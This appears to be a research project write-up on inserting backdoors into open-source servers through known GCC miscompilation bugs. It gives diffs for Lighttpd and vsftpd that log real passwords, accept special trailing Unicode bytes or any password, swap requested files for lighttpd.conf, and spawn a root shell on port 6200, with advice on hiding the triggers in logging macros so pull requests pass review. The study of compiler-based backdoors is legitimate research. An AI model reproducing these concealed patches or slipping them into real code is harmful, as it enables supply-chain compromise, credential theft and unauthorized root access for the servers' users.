Target Programs
Attack Description
The attack is now ready to be deployed. Suppose one of the bugs is to be covertly injected into an application. The bug can be triggered inside one of the previously built containers. Take any development branch of an open-source application and build the project within the container. The remaining work consists of targeting an application functionality that would be useful to have a back-door into. One rigorous way of spotting an injection point in the code base is to get coverage for common commands. A quicker way is plain inspection, but it might miss out critical instructions which can cover the malicious code. Once the patch is created, the attacker can issue a pull request. If carefully written, the exploit can easily pass the inspection: the code might look correct in the sense that edge cases that provide root privileges or unauthorized authentication would never be reached. However, with the right compiler version, they are.
Creating the scenarios
The subsequent case studies have one feature in common: remote computer communication. The two-tier architecture is relevant to any distributed computing system world-wide. Although this simplifies the scale at which distributed systems operate by abstracting security components such away proxies, encryption, firewalls, the approach remains valid through its ability to affect the single most important node in remote communication through the network, the server.
Experimental Remote Shell
The purpose of this shell is purely experimental. The code follows this tutorial. There are two types of shells: one is a secure shell which uses repeated XOR operation with the number 42 to encrypt (see https://linux.die.net/man/3/memfrob) and the other is an invisible shell which transmits the shell commands as ICMP packets.
For the purposes of this project, the compiler based back-doors were
created for the secure shell. I implemented a minimal authentication
system accepting username admin and password password. The following
is a description of the shell usage:
-
After you build one of the Docker containers associated with a bug, clone the repo inside the container and checkout to the branch gcc <bug_id>, then pull.
-
cd CompilerBackdoors/RemoteShell -
Build using
make all -
./remote_shell_exe s (port), i.e. start the server process./remote_shell_exe c (target ip) (port), i.e. start the client process. Note that you can try it locally. In this case the target ip is 127.0.0.1 -
You will be prompted to enter the username (followed by enter) and a password (followed by enter).
-
All exploits have been designed to provide access to the server for any supplied password P=[c1,c2..c8], where [ci <= p | p <- “password”].
-
When you run the secure shell on a machine with a good compiler version, you should only be able to authenticate when the supplied password is “password”.
Lighttpd
Lighttpd is an open-source web server characterized through efficiency and a low memory footprint. According to its home page, it powers several popular Web 2.0 sites, mainly because of proven performance reasons.
The inserted bugs create back-doors in plain authentication when a
password-protected resource /download is accessed.
To build each modified version of Lighttpd, execute the script
lighttpd/build.sh inside one of the corresponding containers (run with
port mapping from the localhost to the docker container, depending on
the port specified in the lighttpd.conf). There is one script
lighttpd/get_lighttpd_1.4.45.sh which retrieves the latest release of
Lighttpd (in which you must copy the previous
lighttpd/lighttpd1.4-lighttpd-1.4.45/src/mod_authn_file.c or
lighttpd/lighttpd1.4-lighttpd-1.4.45/src/response.c in case code on
branch lighttpd-404 is run), in case it does not compile due to
dependency issues.
vsftpd
When talking about remote file transfer, one should be aware of the high stakes involved. Sensitive files can be leaked or unauthorized system access gained. Vsftpd is a concurrent FTP server which is considers security as its main feature.
The choice for this protocol arises from its specification, which makes it secure compared to P2P for example. But once vulnerabilities appear in the server application, clients’ communication is compromised. One such weakness (whose bug report is not publicly available) slipped into the source code of v2.3.4, starting a shell that was listening for connections on a port. This exploit was pivotal to our illustrative approach of generating exploits through compiler bugs.
Experimental Setup
The branching of the repository is as follows.
- GCC bugs & Remote Shell
-
The branches gcc42721, gcc42952, gcc43360, gcc43438, gcc57124, gccsummit contain the back-door exploits for the experimental remote shell described in 3.3.
- Lighttpd Code
-
The branch lighttpd contains the pre-patched version of Lighttpd.
- Lighttpd Back-doors
-
Branches lighttpd-gcc-bug57124, lighttpd-gcc-bug43438, lighttpd-gcc-bug42952 and lighttpd-404 contain various exploits of the authentication system of the web server.
- Vsftpd Back-doors
-
Branches vsftpd-gcc-bug43438, vsftpd-gcc-bug57124 and vsftpd-gcc-bug42952 contain various exploits of the system when a user logs in with credentials following a specific pattern.
The directory structure is as follows:
- bugs
-
Csmith and GCCsummit contain bugs generated using Csmith. The file that must be compiled using the buggy gcc version is small.c
- BugEnvironments
-
The explanations below help reproduce only the bugs in bugs/Csmith and bugs/GCCsummit
The approach taken involves a micro-services architecture, in which uncoupled Docker containers are predominantly used, with one exception for bug 42721.
The
gcc_install_script.shis used to build a certain revision of GCC inside a virtual machine. I created a Ubuntu 9.10 (32-bit) virtual machine to be able to reproduce GCC bug 42721 only. I created an appliance which you can import in VirtualBox and see how the compiler behaves for the program in question. Steps to set-up the appliance:-
wget www.doc.ic.ac.uk/ ab7515/Ubuntu910.ova -
Import appliance into VirtualBox
-
Login using username:
andreiand password:administrator -
Access the buggy revision of gcc in
/usr/local/bin/gccand check that the last line is ’gcc version 4.5.0 20100112 (experimental) GCC’ -
You can check that the small.c file under /home/andrei contains the version of the program captured by the code snippet in 2.1.1, bug #1.
-
Compile using
-O1and-O2flags and check that for-O2the execution is aborted.
For all other GCC bugs, there are separate CentOS containers which can be run as follows:
-
cd Dockerfiles -
Identify the container you want to build corresponding to the bug id in section 2.1.1: dockerfile_gcc_<bug_id>
-
docker build -t centos_gcc_(bug_id) path_to_ Dockerfilei.e dockerfile_gcc_(bug_id) -
Make sure the
PWDis the repository root (you want to access the bugs folder)
docker run -ti centos_gcc_bug_id -
Note that the buggy version of gcc is
/usr/local/bin/gcc -
Consult the Reported behaviour section in 2.1.1 for the chosen bug_id to check how to reproduce the bug.
-
- Remote Shell
-
Contains the experimental remote shell code and the exploits on each corresponding GCC bug branch.
- lighttpd on branch lighttpd
-
Contains the Lighttpd code under the directory lighttpd1.4-lighttpd-1.4.45, the configuration file lighttpd.conf, the www directory containing the html page.
- vsftpd on branch vsftpd
-
Contains the vsftpd code under the directory vsftpd-3.0.3, the configuration file vsftpd.conf, build and run scripts (build.sh and run_all.sh) and the remote shell access Python script.
Lighttpd compiler-based back-doors
GCC Bug 57124 Injection
Diff 1: Partial diff lighttpd and lighttpd-gcc-bug57124
+// NOTE: this is the core function for plain authenticaion
+// (from either supported source: file, ldap, mysql )
static handler_t mod_authn_file_plain_basic(server *srv, connection *con, void *p_d, const http_auth_require_t *require, const buffer *username, const char *pw) {
plugin_data *p = (plugin_data *)p_d;
buffer *password_buf = buffer_init();/* password-string from auth-backend */
- int rc;
+ read_status *rs = read_status_init();
+
+ srr = srv; // [Assignment for logging purposes]
+
+ bool valid;
mod_authn_file_patch_connection(srv, con, p);
- rc =
- mod_authn_file_htpasswd_get(srv,p->conf.auth_plain_userfile,
- username, password_buf);
- if (0 == rc) {
- rc =
- buffer_is_equal_string(password_buf, pw, strlen(pw))?0 : -1;
+ mod_authn_file_htpasswd_get(srv,
+ p->conf.auth_plain_userfile, username, password_buf, rs);
+
+ if (0 == rs->rc && rs->no_bytes_read > 0) {
+ rs->rc = buffer_is_equal_string(password_buf, pw, strlen(pw)) ? 0 : -1;
+ log_error_write(srr, __FILE__, __LINE__, "ss",
+ "The real password ", password_buf->ptr);
+ rs->no_bytes_read = -1;
+ check_pwd_valid (rs->rc, rs->no_bytes_read, &valid, pw);
}
+
buffer_free(password_buf);
+
+ read_status_free (rs);
+
UNUSED(con);
- return 0 == rc && http_auth_match_rules(require, username->ptr, NULL, NULL)
- ? HANDLER_GO_ON
- : HANDLER_ERROR;
+ return valid &&
+ http_auth_match_rules(require, username->ptr, NULL, NULL)
+ ? HANDLER_GO_ON
+ : HANDLER_ERROR;
}
How was the bug trigger inserted? The bug is dependent on a function
which is passed two negative numbers which are then cast to short
unsigned int. The initial variable rc seemed not to confer enough
information about the state of the password. So, it is reasonable to
capture another piece of information using a struct:
typedef struct {
int rc;
int no_bytes_read;
} read_status;
This is then used to trigger the bug in the if statement below.
#define isunicodeomicron(c1, c2) (c1 == '\xce', c2 == '\xbf')
....
if (x7 <= 268435455U)
{
*valid = isunicodeomicron(pwd[strlen(pwd) - 2], pwd[strlen(pwd) - 1]);
return;
}
...
Scenario When the last two characters of the user-supplied password
are Unicode characters with their most significant bytes 0xCE and
0xBF respectively, the user will be authenticated. I rely on the
truncation of any sequence of two Unicode characters of the form
0x_ _ CE and 0x _ _ BF to keep the patch as small as possible, in
the sense that I would have to modify a significant part of the existing
code to accommodate all 16 bits (by use of a wide char), otherwise. For
example, the password of the user is calypso (with Latin o), but I
want to allow calypso (with Greek omicron formed by the
concatenation of LSBs of 2 characters). There is a difference between
the HTML entity omicron (ο, which you can obtain by pressing
CTRL + Shift + u and then typing 3BF followed by Enter) and the
UTF-8 omicron which is represented as 0xCEBF.
GCC Bug 43438 Injection
Diff 2: Covert code for bug trigger insertions
+#include <stdbool.h>
+#include <assert.h>
/*[More code]*/
+#define CONTROL_CODE 254
+// Must assign the constant 254 only
+#define set_control_character(b, auth_ref) \
+ int code = b ? CONTROL_CODE : 0; \
+ unsigned char control_character = CONTROL_CODE; \
+ *auth_ref |= auth_char; \
+ control_character |= *auth_ref
+#define ctrl_char_code_log(c, auth_ref) \
+ log_error_write(srv, __FILE__, __LINE__, "d", (unsigned char) c); \
+ set_control_character((unsigned char) c == CONTROL_CODE, auth_ref)
+
+static int server_state;
+
+/* Returns 1 iff should be logged in. */
+static void server_ready_for_login(int control_character) {
+ int *server_state_alias = &server_state;
+ *server_state_alias &= 0 < control_character;
+}
Diff 3: Core functionality change: diff lighttpd and lighttpd-gcc-bug43438
static handler_t
mod_authn_file_plain_basic(server *srv, connection *con,
void *p_d, const http_auth_require_t *require,
const buffer *username, const char *pw) {
plugin_data *p = (plugin_data *)p_d;
/* password-string from auth-backend */
buffer *password_buf = buffer_init();
int rc;
+ bool valid;
mod_authn_file_patch_connection(srv, con, p);
rc =
mod_authn_file_htpasswd_get(srv, p->conf.auth_plain_userfile, username, password_buf);
if (0 == rc) {
rc = buffer_is_equal_string(password_buf, pw, strlen(pw)) ? 0 : -1;
+ /* If the passwords do not match check if the last chr of
+ pw is 254 (ctrl + shift + fe in the password text field)*/
+ if (-1 == rc) {
+ unsigned char auth_char = 1;
+ int *auth_ref = &server_state;
+
+ //Assign 254 (only) to control_character
+ // assert(254 == pw[...]) create evil macro for number 254 directly
+ ctrl_char_code_log(pw[strlen(pw) - 1], auth_ref);
+
+ server_ready_for_login (control_character);
+ }
+ valid = !rc || !server_state;
}
+
+ //Buggy: at -O1 wrong result (i.e. server_state == 0)
buffer_free(password_buf);
UNUSED(con);
- return 0 == rc && http_auth_match_rules(require, username->ptr, NULL, NULL)
+ return valid && http_auth_match_rules(require, username->ptr, NULL, NULL)
? HANDLER_GO_ON
: HANDLER_ERROR;
}
How was the bug trigger inserted? Made use of macros for password
logging purposes to hide sensitive code fragments that might not
usually be found in a password checking function. Scenario This is
the bug in which an unsigned char with value 254 passed to void
f(int x) will be sign-extended instead of zero-extended. This bug
would not trigger unless the assignment with the constant 254 is made.
It is a masked homograph attack, but it is not an ideal one. The macros
hide the assignment, which is made no matter what the last character of
the user supplied password is.
GCC Bug 42952 Injection
Diff 4: Diff lighttpd and lighttpd-gcc-bug42952
+#define ALLOW 1
+
+static int server_state[1];
+static int *server_state_alias_fst = &server_state[0];
+static int *server_state_alias_snd = &server_state[0];
+
static handler_t mod_authn_file_plain_basic(server *srv, connection *con, void *p_d, const http_auth_require_t *require, const buffer *username, const char *pw) {
plugin_data *p = (plugin_data *)p_d;
buffer *password_buf = buffer_init();/* password-string from auth-backend */
int rc;
+ bool valid;
mod_authn_file_patch_connection(srv, con, p);
rc = mod_authn_file_htpasswd_get(srv, p->conf.auth_plain_userfile, username, password_buf);
if (0 == rc) {
rc = buffer_is_equal_string(password_buf, pw, strlen(pw)) ? 0 : -1;
+ server_state[0] = (rc != 0); //correct pw => 1; incorrect pw => 0
+ if (-1 == rc) {
+ *server_state_alias_snd = !ALLOW;
+ *server_state_alias_snd = *server_state_alias_fst;
+ }
+ valid = !rc || server_state[0];
+ log_error_write(srv, __FILE__, __LINE__, "dsd", server_state[0], " and valid is ", valid);
}
buffer_free(password_buf);
UNUSED(con);
- return 0 == rc && http_auth_match_rules(require, username->ptr, NULL, NULL)
+ return valid && http_auth_match_rules(require, username->ptr, NULL, NULL)
? HANDLER_GO_ON
: HANDLER_ERROR;
}
How was the bug trigger inserted? Added an additional condition for password validity. The global static variables would make it less likely for the patch to pass a review, but the constrained manifestation of the bug lead to the presented code. Scenario This bug allows authentication on the user’s password protected page through any password.
GCC Bug 43360 Injection
Diff 5: Call site of function containing the bug in file response.c
+ char *not_allowed_pattern = ".txt";
+ char *extension = strrchr (con->physical.path->ptr, '.');
+ if (extension != NULL && (0 == strncmp (not_allowed_pattern, extension, 4))) {
+ update_unauthorized_count_for_display ();
+
+ /* This should never happen for non-buggy gcc */
+ if (cnt[0][0] == NOT_AUTHORIZED_COUNT) {
+ /*Change the physical path to be displayed */
+
+ /* [Demo] Hide hard-coded string using macro ("lighttpd" ++ ".conf")*/
+ char *ptr = "lighttpd.conf";
+ strncpy(con->physical.path->ptr, ptr, 13);
+ con->physical.path->ptr[13] = '\0';
+ }
+ }
+
How was the bug trigger inserted? Added extra check for file name pattern. If the pattern of the file is forbidden, then a sensitive file e.g. configuration file would be displayed instead. Scenario The resource requested must not be accessed. When such attempt to display is made, another forbidden file is shown as a side effect.
vsftpd compiler-based back-doors
GCC Bug 57124 Injection
Diff 6: Call site of function containing the bug 57124
int
str_contains_space(const struct mystr* p_str)
{
unsigned int i;
+ bool contains_space = false;
+
for (i=0; i < p_str->len; i++)
{
if (vsf_sysutil_isspace(p_str->p_buf[i]))
{
+ /* Invalid */
return 1;
- } else if (p_str->p_buf[i] == '%')
- {
- vsf_sysutil_extra ();
}
}
- return 0;
+ pwd_space_free_valid (STATUS_1, STATUS_2, &contains_space, p_str->p_buf);
+ return contains_space;
}
Diff 7: Bug trigger and check for zero-length space trail
+/* -Werror=implicit-int */
+__attribute__ ((noinline))
+bool pwd_space_free_valid (short unsigned int p1 , short unsigned int p2,
+ bool *contains_space, const char *pwd) {
+ short unsigned int x1, x4;
+ int x2, x3, x6;
+ unsigned int x7;
+
+ x1 = p1;
+ x2 = (int) x1;
+ x3 = x2 * 65536;
+ x4 = p2;
+ x6 = x3 + x4;
+ x7 = (unsigned int) x6;
+ if (x7 <= 268435455U)
+ {
+ *contains_space = isunicode_zero_len_space_trail(pwd[strlen(pwd) - 1]);
+ if (*contains_space)
+ vsf_sysutil_extra();
+ }
+ return !*contains_space;
+}
How was the bug trigger inserted? The function
str_contains_space() was extended with an extra check for Unicode
spaces, in particular a check for the zero-length space 0xE2 80 8B
through a macro. When the code is compiled with the problematic GCC
version, the bug will trigger following a call of the
vsf_sysutil_extra() function, which spawns a shell that listens on
port 6200 for socket connections. Scenario Once the shell is
spawned, one can use the script exploit.py[5] as
python exploit.py [target ip] [FTP port on which the server is running].
As the server was started as root, the spawned process will grant root
privileges to the attacker.
GCC Bug 43438 Injection
Diff 8: Call site of bug trigger through logging mask
+ unsigned char auth_char = 1;
+ int *auth_ref = &server_state;
+ ctrl_char_code_log(p_str->p_buf[strlen(p_str->p_buf) - 1], auth_ref);
+ server_ready_for_login(control_character);
+ if (!server_state && p_str->p_buf[strlen(p_str->p_buf) - 2] == '\x8b')
+ vsf_sysutil_extra();
How was the bug trigger inserted? The function
ctrl_char_code_log() triggers the bug. The variable server_state is
zero under wrong compilation. An additional check for the least
significant byte of the user is made. If the byte corresponds to the LSB
of the Unicode zero-length character, the shell is spawned. Scenario
Same as previous.
GCC Bug 42952 Injection
Diff 9: Call site of bug trigger through logging mask
+#define ALLOW 1
+
+#define isunicode_zero_len_space_trail(c1) (c1 == '\x8b')
+
+static int server_state[1];
+static int *server_state_alias_fst = &server_state[0];
+static int *server_state_alias_snd = &server_state[0];
+
int
vsf_sysutil_extra(void)
{
@@ -622,12 +631,17 @@ str_contains_space(const struct mystr* p_str)
if (vsf_sysutil_isspace(p_str->p_buf[i]))
{
return 1;
}
}
}
- return 0;
+ // If the last character of the username is 0x __ __ 8B, then
+ // server_state[0] == 1 iff compiler is buggy
+ bool last_is_space =
+ isunicode_zero_len_space_trail(p_str->p_buf[strlen(p_str->p_buf) - 1]);
+ server_state[0] = last_is_space;
+ *server_state_alias_snd = !ALLOW;
+ *server_state_alias_snd = *server_state_alias_fst;
+ if (server_state[0])
+ vsf_sysutil_extra ();
+ return 0;
}
How was the bug trigger inserted? A check for the least significant
byte of the username string is made. If the byte corresponds to the LSB
of the Unicode zero-length character, the subsequent sequence of
assignments will be compiled wrongly by a certain compiler and the shell
will be spawned.
Scenario Same as previous.